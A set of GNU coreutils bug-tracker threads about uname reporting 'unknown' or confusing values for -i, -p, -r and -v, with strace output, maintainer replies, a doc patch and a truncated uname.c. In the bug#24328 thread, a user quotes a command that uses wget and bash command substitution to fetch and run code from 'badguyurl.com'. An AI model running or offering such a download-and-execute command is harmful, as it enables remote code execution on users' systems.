bug#70298: uname -i returns unknown since fedora 38
On 4/9/24 2:21 PM, Pádraig Brady wrote: Thanks for looking at this. From the Fedora side, they dropped a Fedora specific patch for Fedora 38. https://bugzilla.redhat.com/show_bug.cgi?id=548834 https://bugzilla.redhat.com/show_bug.cgi?id=2208048 FWIW: OpenSUSE still has that patch which was kept in sync with Fedora for years: https://build.opensuse.org/projects/openSUSE:Factory/packages/coreutils/files/coreutils-sysinfo.patch?expand=1 I have no strong opinion about it, but I guess some (build?) scripts rely on this. Have a nice day, Berny
bug#70298: uname -i returns unknown since fedora 38
On 09/04/2024 10:17, Collin Funk wrote: On 4/9/24 12:57 AM, Paul Eggert wrote: Indeed there is, and I merged your bug report into that old one. It'd be nice if someone could get to the bottom of that bug. I decided to look into this a bit, since I also have an unknown 'uname -i' and 'uname -p'. It seems that this option is a Solaris thing. I found the commit that it was introduced [1]. It also adds some other Solaris compatibility stuff, so everything seems to add up so far. The first function it tries is sysinfo (SI_PLATFORM, ...) which seems to be a Solaris thing [2]. I think Linux has sysinfo but not SI_PLATFORM. Then it tries sysctl (...) with a UNAME_HARDWARE_PLATFORM macro to deal with the BSDs. I think OpenBSD might be missing that definition in the #ifdef, but I have no way of testing it at the moment [3]. I'm not sure if 'uname -i', 'uname -p', or 'uname -m' are supposed to be any different from each other. Maybe someone who knows Solaris can help more? Illumios defines 'sysinfo' as an alias to 'systeminfo' [4]. There it returns an 'extern char *platform' in the given buffer when passed SI_PLATFORM [5]. I've found the definition of the variable, but I don't know where it is actually set to something useful [6]. Hopefully that information helps someone... [1] https://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=aaeb7a61c4662fd28cf2bc161b740352711538d2 [2] https://github.com/illumos/illumos-gate/blob/cf618897f43ea305e3a426f93bbcef4e8106829c/usr/src/uts/common/sys/systeminfo.h#L86 [3] https://git.savannah.gnu.org/cgit/coreutils.git/tree/src/uname.c#n36 [4] https://github.com/illumos/illumos-gate/blob/master/usr/src/lib/libc/common/sys/sysinfo.S [5] https://github.com/illumos/illumos-gate/blob/cf618897f43ea305e3a426f93bbcef4e8106829c/usr/src/uts/common/syscall/systeminfo.c#L124 [6] https://github.com/illumos/illumos-gate/blob/master/usr/src/uts/common/conf/param.c#L533 Thanks for looking at this. From the Fedora side, they dropped a Fedora specific patch for Fedora 38. https://bugzilla.redhat.com/show_bug.cgi?id=548834 https://bugzilla.redhat.com/show_bug.cgi?id=2208048 cheers, Pádraig.
bug#70298: uname -i returns unknown since fedora 38
On 4/9/24 12:57 AM, Paul Eggert wrote: > Indeed there is, and I merged your bug report into that old one. It'd be nice > if someone could get to the bottom of that bug. I decided to look into this a bit, since I also have an unknown 'uname -i' and 'uname -p'. It seems that this option is a Solaris thing. I found the commit that it was introduced [1]. It also adds some other Solaris compatibility stuff, so everything seems to add up so far. The first function it tries is sysinfo (SI_PLATFORM, ...) which seems to be a Solaris thing [2]. I think Linux has sysinfo but not SI_PLATFORM. Then it tries sysctl (...) with a UNAME_HARDWARE_PLATFORM macro to deal with the BSDs. I think OpenBSD might be missing that definition in the #ifdef, but I have no way of testing it at the moment [3]. I'm not sure if 'uname -i', 'uname -p', or 'uname -m' are supposed to be any different from each other. Maybe someone who knows Solaris can help more? Illumios defines 'sysinfo' as an alias to 'systeminfo' [4]. There it returns an 'extern char *platform' in the given buffer when passed SI_PLATFORM [5]. I've found the definition of the variable, but I don't know where it is actually set to something useful [6]. Hopefully that information helps someone... [1] https://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=aaeb7a61c4662fd28cf2bc161b740352711538d2 [2] https://github.com/illumos/illumos-gate/blob/cf618897f43ea305e3a426f93bbcef4e8106829c/usr/src/uts/common/sys/systeminfo.h#L86 [3] https://git.savannah.gnu.org/cgit/coreutils.git/tree/src/uname.c#n36 [4] https://github.com/illumos/illumos-gate/blob/master/usr/src/lib/libc/common/sys/sysinfo.S [5] https://github.com/illumos/illumos-gate/blob/cf618897f43ea305e3a426f93bbcef4e8106829c/usr/src/uts/common/syscall/systeminfo.c#L124 [6] https://github.com/illumos/illumos-gate/blob/master/usr/src/uts/common/conf/param.c#L533 Collin
bug#70298: uname -i returns unknown since fedora 38
On 2024-04-08 10:59, Ondrej Mejzlik wrote: The command uname returns "unknown" on Fedora 38,39 and probably 40. There is a similar very old bug here which has not been fixed https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34905 Indeed there is, and I merged your bug report into that old one. It'd be nice if someone could get to the bottom of that bug.
bug#70298: uname -i returns unknown since fedora 38
The command uname returns "unknown" on Fedora 38,39 and probably 40.
There is a similar very old bug here which has not been fixed
https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34905
F38:
[root@vm~]# uname -a
Linux vmcom 6.8.4-100.fc38.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 4
20:40:57 UTC 2024 x86_64 GNU/Linux
[root@vm~]# uname -i
unknown
Here is the strace output on F38
# strace uname -pi
execve("/usr/bin/uname", ["uname", "-pi"], 0x74989c48 /* 32 vars */) = 0
brk(NULL) = 0x55fae2442000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffd9202bd60) = -1 EINVAL (Invalid
argument)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or
directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18475, ...},
AT_EMPTY_PATH) = 0
mmap(NULL, 18475, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6491b8f000
close(3)= 0
openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`}\2\0\0\0\0\0"...,
832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"...,
784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=2448096, ...},
AT_EMPTY_PATH) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x7f6491b8d000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"...,
784, 64) = 784
mmap(NULL, 1957168, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0x7f64919af000
mmap(0x7f64919d5000, 1429504, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7f64919d5000
mmap(0x7f6491b32000, 315392, PROT_READ,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x183000) = 0x7f6491b32000
mmap(0x7f6491b7f000, 24576, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d) = 0x7f6491b7f000
mmap(0x7f6491b85000, 32048, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f6491b85000
close(3)= 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x7f64919ac000
arch_prctl(ARCH_SET_FS, 0x7f64919ac740) = 0
set_tid_address(0x7f64919aca10) = 1320
set_robust_list(0x7f64919aca20, 24) = 0
rseq(0x7f64919ad060, 0x20, 0, 0x53053053) = 0
mprotect(0x7f6491b7f000, 16384, PROT_READ) = 0
mprotect(0x55fae0ff3000, 4096, PROT_READ) = 0
mprotect(0x7f6491bc6000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024,
rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f6491b8f000, 18475) = 0
getrandom("\x1b\x52\xa1\xbf\xb0\x7e\x23\x6b", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55fae2442000
brk(0x55fae2463000) = 0x55fae2463000
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = -1
ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2998, ...}, AT_EMPTY_PATH)
= 0
read(3, "# Locale name alias data base.\n#"..., 4096) = 2998
read(3, "", 4096) = 0
close(3)= 0
openat(AT_FDCWD, "/usr/lib/locale/en_US.UTF-8/LC_IDENTIFICATION",
O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/en_US.utf8/LC_IDENTIFICATION",
O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=369, ...}, AT_EMPTY_PATH)
= 0
mmap(NULL, 369, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6491b93000
close(3)= 0
openat(AT_FDCWD, "/usr/lib64/gconv/gconv-modules.cache", O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=27012, ...},
AT_EMPTY_PATH) = 0
mmap(NULL, 27012, PROT_READ, MAP_SHARED, 3, 0) = 0x7f64919a5000
close(3)= 0
futex(0x7f6491b84a6c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
openat(AT_FDCWD, "/usr/lib/locale/en_US.UTF-8/LC_MEASUREMENT",
O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/en_US.utf8/LC_MEASUREMENT",
O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=23, ...}, AT_EMPTY_PATH) =
0
mmap(NULL, 23, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6491b92000
close(3)= 0
openat(AT_FDCWD, "/usr/lib/locale/en_US.UTF-8/LC_TELEPHONE",
O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/en_US.utf8/LC_TELEPHONE",
O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=59, ...}, AT_EMPTY_PATH) =
0
mmap(NULL, 59, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6491b91000
close(3)= 0
openat(AT_FDCWD, "/usr/lib
bug#55226: Bug Found at Uname at Red hat linux
On 5/2/22 04:43, Sasi Kiran wrote: Respected GNU Team *Iam K.sasi kiran* While iam executing uname -v itself shows the Date of the linux But has i seen on uname --help it shows the *uname -v* gives the* kernel version..*... The kernel version contains the date, so there's no bug here.
bug#55226: Bug Found at Uname at Red hat linux
Respected GNU Team *Iam K.sasi kiran* While iam executing uname -v itself shows the Date of the linux But has i seen on uname --help it shows the *uname -v* gives the* kernel version..*... CAN YOU PLEASE FIX THIS ISSUE
bug#36688: uname no longer accessing hw-platform nor cpu (not updated to use primary info source)
This is a bit weird, as the hw-platform, apparently is i386 or i686, not sure, but the cpu is definitely accessible in /proc/cpuinfo. The following text is from the sysctl call in the kernel help text for the option: CONFIG_SYSCTL_SYSCALL: sys_sysctl uses binary paths that have been found challenging to properly maintain and use. The interface in /proc/sys using paths with ascii names is now the primary path to this information. Apparently my copy of uname is still using the sysctl call(or trying to), as it comes up with 'unknown' for -p, --processor print the processor type or "unknown" -i, --hardware-platform print the hardware platform or "unknown" This appears to come from: uname (GNU coreutils) 8.26.18-5e871 Is this fixed in a newer version? Thanks.
bug#34905: uname: -i/-p returns "unknown"
tags 34905 moreinfo retitle 34905 uname: -i/-p returns "unknown" stop On 2019-03-19 9:48 p.m., Paul Eggert wrote: Wellington Almeida wrote: When using the -p and -i functions in the uname command I noticed that it returned an unknown result, can this be a bug? It could be a bug in the uname command, but more likely it's a kernel bug. Try running "strace uname -pi".
bug#11184: [lfs-dev] uname -i, -p show 'unknown' after update to coreutils-8.16
tags 11184 wontfix severity 11184 wishlist close 11184 stop (triaging old bugs) Hello, On 05/04/12 02:34 AM, Matthew Burgess wrote: That's because we (LFS) dropped the uname patch from our build instructions because upstream won't take it in its current form. If my understanding is correct, the correct way of implementing this feature is by a combination of changes in the kernel & Glibc. That is correct - stock coreutils' uname(1) reports "unknown" for -i/-p on Linux, though some distributions provide their own down-stream patches. As such I'm closing this bug. regards, - assaf
bug#24328: uname exploit
Hey Shane, I'm no bash/systems/coreutils expert, but I believe this behavior is completely expected, independent of uname, and documented. $(...) is the command substitution syntax and it will cause the command inside the parens to be run, with the output used as input. Here's a link to the behavior on gnu.org. https://www.gnu.org/software/bash/manual/bash.html#Command-Substitution It won't work if you use single quotes, which is also expected. Evan On Mon, Aug 29, 2016, at 12:25 AM, Shane wrote: > Hi, I am unsure if you have seen this, but I am concerned about this - > can or should uname be restricted to root use only? > > uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\" > > > > >
bug#24328: uname exploit
Hi, I am unsure if you have seen this, but I am concerned about this - can or should uname be restricted to root use only? uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"
bug#21098: uname man page
2015-07-22 01:54:58 +0100, Pádraig Brady: [...] On 21/07/15 14:34, Paul Eggert wrote: Thanks, that patch looks good, except for some nits. POSIX spells the phrase non-portable and we might as well be consistent. The --help lines would look better as: -p, --processor print the processor type (non-portable)\n\ -i, --hardware-platform print the hardware platform (non-portable)\n\ as the period would look funny after a non-capitalized sentence. Done and pushed. I've closed the bugs now since we've discouraged use of these options. Since they're platform specific, any logic changes should be in uname(1) and/or the kernel. [...] Note that for Solaris, it's -m that's discouraged http://docs.oracle.com/cd/E23824_01/html/821-1461/uname-1.html -p is useful as it gives (is meant to give) the instruction-set. Although not POSIX, it's fairly portable. Among the modern (and less modern) Unix players, I could only find HP/UX not supporting it. -- Stephane
bug#21098: uname man page
On 22/07/15 10:33, Stephane Chazelas wrote: 2015-07-22 01:54:58 +0100, Pádraig Brady: [...] On 21/07/15 14:34, Paul Eggert wrote: Thanks, that patch looks good, except for some nits. POSIX spells the phrase non-portable and we might as well be consistent. The --help lines would look better as: -p, --processor print the processor type (non-portable)\n\ -i, --hardware-platform print the hardware platform (non-portable)\n\ as the period would look funny after a non-capitalized sentence. Done and pushed. I've closed the bugs now since we've discouraged use of these options. Since they're platform specific, any logic changes should be in uname(1) and/or the kernel. [...] Note that for Solaris, it's -m that's discouraged http://docs.oracle.com/cd/E23824_01/html/821-1461/uname-1.html -p is useful as it gives (is meant to give) the instruction-set. Although not POSIX, it's fairly portable. Among the modern (and less modern) Unix players, I could only find HP/UX not supporting it. Thanks for the extra info. Just to be clear, for portability I was referring to the POSIX options, but mainly to the value itself. I.E. it's meant as a warning to have users consider use of these values. Also it's better to align with the standards and most popular platforms. thanks, Pádraig.
bug#21098: uname man page
unarchive 13001 unarchive 15757 forcemerge 13001 15757 21098 close 13001 stop On 21/07/15 14:34, Paul Eggert wrote: Thanks, that patch looks good, except for some nits. POSIX spells the phrase non-portable and we might as well be consistent. The --help lines would look better as: -p, --processor print the processor type (non-portable)\n\ -i, --hardware-platform print the hardware platform (non-portable)\n\ as the period would look funny after a non-capitalized sentence. Done and pushed. I've closed the bugs now since we've discouraged use of these options. Since they're platform specific, any logic changes should be in uname(1) and/or the kernel. thanks, Pádraig.
bug#21098: uname man page
On 20/07/15 22:16, Assaf Gordon wrote:
tag 21098 notabug
stop
Hello,
On 07/20/2015 03:26 PM, Norbert de Jonge wrote:
Maybe someone has time and energy to make some minor improvements to
uname's man page. The problem lies in the vagueness and similarity of
the options -m, -p and -i, combined with the program's unpredictable
output.
The man-page could be re-worded, but,
the values that are reported by uname are very system specific.
The Coreutil FAQ contains an entry for uname:
http://www.gnu.org/software/coreutils/faq/coreutils-faq.html#uname-is-system-specific
And some past discussions contain more information:
http://debbugs.gnu.org/cgi/bugreport.cgi?bug=14388
http://lists.gnu.org/archive/html/bug-coreutils/2003-10/msg00098.html
http://lists.gnu.org/archive/html/bug-coreutils/2004-11/msg00032.html
To make people's lives easier, the description for -m should be
changed. I also think it would be useful to add to the description, in
parentheses, e.g. x86_64, i686.
[...]
If you want to determine whether a system is 32-bit or 64-bit, use this
option.
mentioning x86_64/i686 in the documentation is Linux-kernel specific, and
coreutils is not limited to Linux-kernel, and would be incorrect/misleading
on other systems (e.g. on BSD systems the returned value is amd64).
In practice,
The values of 'uname' are not standardized over all OSes/hardwares.
The recommended way is to first detect the system/kernel type (e.g. just
'uname'),
and then decode the hardware type, using the values that are common to that
kernel.
An example to such code is given here:
http://debbugs.gnu.org/cgi/bugreport.cgi?bug=14388#14
Now, that works on Ubuntu, but not on, for example, Arch. Ubuntu, Mint
and probably also Debian, return the same thing for -m, -p and -i.
I'm not familiar with Arch;
some GNU/Linux distros return the values reported by the Linux Kernel, and
GNU coreutils does not change that value.
Other distros patch GNU coreutils (or the kernel?) to return other values.
See related discussion here:
http://lists.gnu.org/archive/html/bug-coreutils/2012-11/msg00173.html
http://lists.gnu.org/archive/html/bug-coreutils/2012-11/msg00177.html
I believe that if the kernel is detected as Linux, then the developer can
assume that uname -m would suffice (based on known Linux kernel values)
[other participants - please correct me if that's wrong]:
e.g:
test $(uname) = Linux \
test $(uname -m) = x86_64 \
echo 64bit-linux || echo other
BTW for a more direct/portable method, one might consider:
test $(getconf LONG_BIT) = '64'
Also that would work better in a 32 chroot on 64 bit kernel.
For some 'uname -m' values of common OSes (not just Linux-based), see here:
http://pretest.nongnu.org/versions/
Very useful info thanks!
I see this was also discussed at:
http://bugs.gnu.org/13001
http://bugs.gnu.org/15757
Some quick testing here gives:
System uname -iuname -muname -p
OS X - coreutilsMacmini7,1 x86_64 i386
OS X - native illegal option x86_64 i386
Solaris 10 SUNW,SPARC... sun4v sparc
Fedora 22 x86_64 x86_64 x86_64
GNU/Linux unknown x86_64 unknown
I find it incorrect that the Linux distros just copied -m to -i and -p.
BTW for a script using -m and -p (but not -i) values see:
http://git.sv.gnu.org/gitweb/?p=gnulib.git;f=build-aux/config.guess;hb=HEAD
I wonder should be just be more explicit about discouraging
use of the -i and -p options, and leave it at that.
That's done in the attached.
thanks,
Pádraig.
From ef5473d3c1828d1be2ea7d5f3bd3c211818c81c6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?P=C3=A1draig=20Brady?= p...@draigbrady.com
Date: Tue, 21 Jul 2015 10:17:43 +0100
Subject: [PATCH] doc: discourage use of uname -i and -p options
* src/uname.c (usage): State that the non POSIX -i and -p options
are non portable.
* doc/coreutils.texi (uname invocation): Mention the discrepancies
even across GNU/Linux distros, and that the results should
be used as informational only, rather than impacting any
logic decisions.
---
doc/coreutils.texi | 8
src/uname.c| 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/doc/coreutils.texi b/doc/coreutils.texi
index 5808413..6a07dcb 100644
--- a/doc/coreutils.texi
+++ b/doc/coreutils.texi
@@ -15605,8 +15605,8 @@ and the hardware platform name if they are unknown.
@cindex platform, hardware
Print the hardware platform name
(sometimes called the hardware implementation).
-Print @samp{unknown} if the kernel does not make this information
-easily available, as is the case with Linux kernels.
+Print @samp{unknown} if this information is not available.
+Note this is non portable (even across GNU/Linux
bug#21098: uname man page
tag 21098 notabug stop Hello, On 07/20/2015 03:26 PM, Norbert de Jonge wrote: Maybe someone has time and energy to make some minor improvements to uname's man page. The problem lies in the vagueness and similarity of the options -m, -p and -i, combined with the program's unpredictable output. The man-page could be re-worded, but, the values that are reported by uname are very system specific. The Coreutil FAQ contains an entry for uname: http://www.gnu.org/software/coreutils/faq/coreutils-faq.html#uname-is-system-specific And some past discussions contain more information: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=14388 http://lists.gnu.org/archive/html/bug-coreutils/2003-10/msg00098.html http://lists.gnu.org/archive/html/bug-coreutils/2004-11/msg00032.html To make people's lives easier, the description for -m should be changed. I also think it would be useful to add to the description, in parentheses, e.g. x86_64, i686. [...] If you want to determine whether a system is 32-bit or 64-bit, use this option. mentioning x86_64/i686 in the documentation is Linux-kernel specific, and coreutils is not limited to Linux-kernel, and would be incorrect/misleading on other systems (e.g. on BSD systems the returned value is amd64). In practice, The values of 'uname' are not standardized over all OSes/hardwares. The recommended way is to first detect the system/kernel type (e.g. just 'uname'), and then decode the hardware type, using the values that are common to that kernel. An example to such code is given here: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=14388#14 Now, that works on Ubuntu, but not on, for example, Arch. Ubuntu, Mint and probably also Debian, return the same thing for -m, -p and -i. I'm not familiar with Arch; some GNU/Linux distros return the values reported by the Linux Kernel, and GNU coreutils does not change that value. Other distros patch GNU coreutils (or the kernel?) to return other values. See related discussion here: http://lists.gnu.org/archive/html/bug-coreutils/2012-11/msg00173.html http://lists.gnu.org/archive/html/bug-coreutils/2012-11/msg00177.html I believe that if the kernel is detected as Linux, then the developer can assume that uname -m would suffice (based on known Linux kernel values) [other participants - please correct me if that's wrong]: e.g: test $(uname) = Linux \ test $(uname -m) = x86_64 \ echo 64bit-linux || echo other For some 'uname -m' values of common OSes (not just Linux-based), see here: http://pretest.nongnu.org/versions/ HTH, - assaf
bug#21098: uname man page
Maybe someone has time and energy to make some minor improvements to uname's man page. The problem lies in the vagueness and similarity of the options -m, -p and -i, combined with the program's unpredictable output. I think a good way to explain the problem is by giving an example. My example mentions proprietary software, but the problem occurs in many other settings. The game engine Unity can deploy to GNU/Linux. A game developer creates a 64-bit executable and a customer requests 32-bit support in a post on the game's Steam Community Hub. Someone mentions to the indie developer that a shell script that uses uname could do the trick. The developer looks at the uname man page, reads print the hardware platform for -i and decides to try this out on Ubuntu. It returns x86_64 for the developer's 64-bit machine. After a bit of reading about bash the result is something like: if [ `uname -i` = x86_64 ] then ./game_64 else ./game_32 fi Now, that works on Ubuntu, but not on, for example, Arch. Ubuntu, Mint and probably also Debian, return the same thing for -m, -p and -i. But, if I'm not mistaken, the only POSIX option of those three is -m: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/uname.html For -m, The Open Group's publication says Write the name of the hardware TYPE (emphasis mine). The GNU coreutils man page for uname says -m will print the machine hardware NAME, while -i says print the hardware PLATFORM. The latter /seems/ to be the most relevant option even though it's not. To make people's lives easier, the description for -m should be changed. I also think it would be useful to add to the description, in parentheses, e.g. x86_64, i686. The man page could also use a POSIX section. In fact, it would be better if the section that describes the options, near those three similar ones, would say which of those is the POSIX variant and maybe even that If you want to determine whether a system is 32-bit or 64-bit, use this option. Really. I really think we can't help out people enough. Even processor type (-p) returns x86_64 on many/most distros, and may (thus) also trick developers and users into thinking that's the thing they're looking for. Best regards, Norbert de Jonge
bug#21098: uname man page
On 07/20/2015 09:26 PM, Norbert de Jonge wrote: Maybe someone has time and energy to make some minor improvements to uname's man page. The problem lies in the vagueness and similarity of the options -m, -p and -i, combined with the program's unpredictable output. Thanks for the report. Additionally to Assaf's answer, I want to mention that the man page of GNU coreutils utilities is (almost) identically to the --help output which we want to keep terse. Actually the former is generated from the latter. At the end of the man page, there is the reference to the real documentation: The full documentation for uname is maintained as a Texinfo manual. If the info and uname programs are properly installed at your site, the command info '(coreutils) uname invocation' should give you access to the complete manual. Now let's look at -m, -p, and -i there: `-i' `--hardware-platform' Print the hardware platform name (sometimes called the hardware implementation). Print `unknown' if the kernel does not make this information easily available, as is the case with Linux kernels. `-m' `--machine' Print the machine hardware name (sometimes called the hardware class or hardware type). `-p' `--processor' Print the processor type (sometimes called the instruction set architecture or ISA). Print `unknown' if the kernel does not make this information easily available, as is the case with Linux kernels. Is this sufficient for you? Otherwise feel free to suggest a better wording - preferably as a git patch or a regular diff, but we could also wrap it into a proper patch for you. Thanks have a nice day, Berny
bug#20827: uname -r not printing full kernel version
Hi Team, I have upgraded suse 11.1 to suse 11.3 but actual kernel name should be kernel-default-3.0.101-0.47.52.1 but uname -r prints like below. Could you please check and revert below. sl01407:~ # rpm -qa ker* kernel-default-base-3.0.101-0.47.52.1 kernel-firmware-20110923-0.52.3 kernel-default-3.0.101-0.47.52.1 sl01407:~ # uname -r 3.0.101-0.47.52-default sl01407:~ # sl01407:~ # rpm -qi kernel-default-3.0.101-0.47.52.1 Name: kernel-default Relocations: (not relocatable) Version : 3.0.101 Vendor: SUSE LINUX Products GmbH, Nuernberg, Germany Release : 0.47.52.1 Build Date: Thu Mar 26 14:15:35 2015 Install Date: Tue Jun 16 09:39:29 2015 Build Host: sheep11 Group : System/Kernel Source RPM: kernel-default-3.0.101-0.47.52.1.nosrc.rpm Size: 86825913 License: GPL v2 only Signature : RSA/8, Thu Mar 26 14:18:11 2015, Key ID e3a5c360307e3d54 Packager: http://bugs.opensuse.org URL : http://www.kernel.org/ Summary : The Standard Kernel Description : The standard kernel for both uniprocessor and multiprocessor systems. Source Timestamp: 2015-03-26 11:55:49 +0100 GIT Revision: 0e3c7c88dc6a4543bcddfbfe1d814bc6713e5832 GIT Branch: SLE11-SP3-fasttrack-bnc924282 Distribution: SUSE Linux Enterprise 11 sl01407:~ # Thanks Regards, Senthil Kumar K Best Shore E.ON Unix Team HP Enterprise Services Hewlett Packard Company HP Avenue, 39/40 Electronic City, Bangalore - 560 100, India * +91 88612 53460 * eonunixt...@hp.com [Description: Description: Description: cid:image001.png@01CB9775.B5B6B950]
bug#20827: uname -r not printing full kernel version
tag 20827 notabug close 20827 stop On 16/06/15 11:03, K, Senthil Kumar wrote: Hi Team, I have upgraded suse 11.1 to suse 11.3 but actual kernel name should be kernel-default-3.0.101-0.47.52.1 but uname –r prints like below. Could you please check and revert below. sl01407:~ # rpm -qa ker* kernel-default-base-3.0.101-0.47.52.1 kernel-firmware-20110923-0.52.3 kernel-default-3.0.101-0.47.52.1 sl01407:~ # uname -r 3.0.101-0.47.52-default This is just a mismatch between rpm version/release and the kernel. I.E. coreutils is just reporting what the kernel is telling it, or more specifically what is returned from uname(2). I presume /proc/sys/kernel/osrelease has the same value? thanks, Pádraig.
bug#16100: Bug in uname command
Hi, Man page of uname command states that uname options: -r, --kernel-release print the kernel release -v, --kernel-version print the kernel version But I got the following result while using these options: inlc7921 uname -r 2.6.16.60-0.58.1.3835.0.PTF.638363-smp inlc7921 uname -v #1 SMP Wed Dec 2 12:27:56 UTC 2009 This seems a little opposite to what man page suggests. Please do take a look.
bug#16101: Doubt regarding uname command
uname command manual page show about these options as follow: -r, --kernel-release print the kernel release -v, --kernel-version print the kernel version but i found that these options are conflicting as given in manual page eg inlc7940 uname -v #1 SMP Wed Dec 2 12:27:56 UTC 2009 inlc7940 uname -r 2.6.16.60-0.58.1.3835.0.PTF.638363-smp Help me to solve this problem
bug#16100: Bug in uname command
forcemerge 14388 16100 thanks On 12/10/2013 02:54 AM, Vishwas Dhankhar wrote: Hi, Man page of uname command states that uname options: -r, --kernel-release print the kernel release -v, --kernel-version print the kernel version But I got the following result while using these options: inlc7921 uname -r 2.6.16.60-0.58.1.3835.0.PTF.638363-smp inlc7921 uname -v #1 SMP Wed Dec 2 12:27:56 UTC 2009 This seems a little opposite to what man page suggests. Please do take a look. Thanks for the report. However, this is turning into a FAQ; see debbugs.gnu.org/14388 for the last discussion on the issue (we are accurately returning what the kernel sticks in the struct used by the uname(2) syscall; changing things would require a kernel change and not something we can effect here; about the best we could do is a doc update to make it clear that we really return whatever random strings the kernel tells us even if those strings aren't release and version in the sense you are expecting). -- Eric Blake eblake redhat com+1-919-301-3266 Libvirt virtualization library http://libvirt.org signature.asc Description: OpenPGP digital signature
bug#16101: Doubt regarding uname command
forcemerge 14388 16101 thanks On 12/10/2013 03:10 AM, NARHAR DEV SHARMA wrote: uname command manual page show about these options as follow: -r, --kernel-release print the kernel release -v, --kernel-version print the kernel version but i found that these options are conflicting as given in manual page eg inlc7940 uname -v #1 SMP Wed Dec 2 12:27:56 UTC 2009 inlc7940 uname -r 2.6.16.60-0.58.1.3835.0.PTF.638363-smp Help me to solve this problem Thanks for the report. However, this is turning into a FAQ; see debbugs.gnu.org/14388 for the last discussion on the issue (we are accurately returning what the kernel sticks in the struct used by the uname(2) syscall; changing things would require a kernel change and not something we can effect here; about the best we could do is a doc update to make it clear that we really return whatever random strings the kernel tells us even if those strings aren't release and version in the sense you are expecting). -- Eric Blake eblake redhat com+1-919-301-3266 Libvirt virtualization library http://libvirt.org signature.asc Description: OpenPGP digital signature
bug#15757: new uname.c for uname -p fix related
On Fri, Nov 01, 2013 at 01:46:33AM +0530, Jeffrin Jose wrote: i have patched debian source from sid for file uname.c for debian coreutils. For what it's worth, I stand by what I wrote in http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193170 in 2007 and still don't see any reason for -i and -p to exist. They may have made sense on some proprietary architectures in the distant path, but are irrelevant on contemporary systems. Mike Stone
bug#15757: new uname.c for uname -p fix related
hello,
i have patched debian source from sid for file
uname.c for debian coreutils.
it does not show unknown for uname -p. hope it is fixed.
i have applied a patch from gentoo for this.
i have attached the resulting uname.c
Thanks.
/Jeffrin.
--
software engineer
rajagiri school of engineering and technology.
/* uname -- print system information
Copyright (C) 1989-2013 Free Software Foundation, Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/. */
/* Written by David MacKenzie d...@gnu.ai.mit.edu */
#include config.h
#include stdio.h
#include sys/types.h
#include sys/utsname.h
#include getopt.h
#if HAVE_SYSINFO HAVE_SYS_SYSTEMINFO_H
# include sys/systeminfo.h
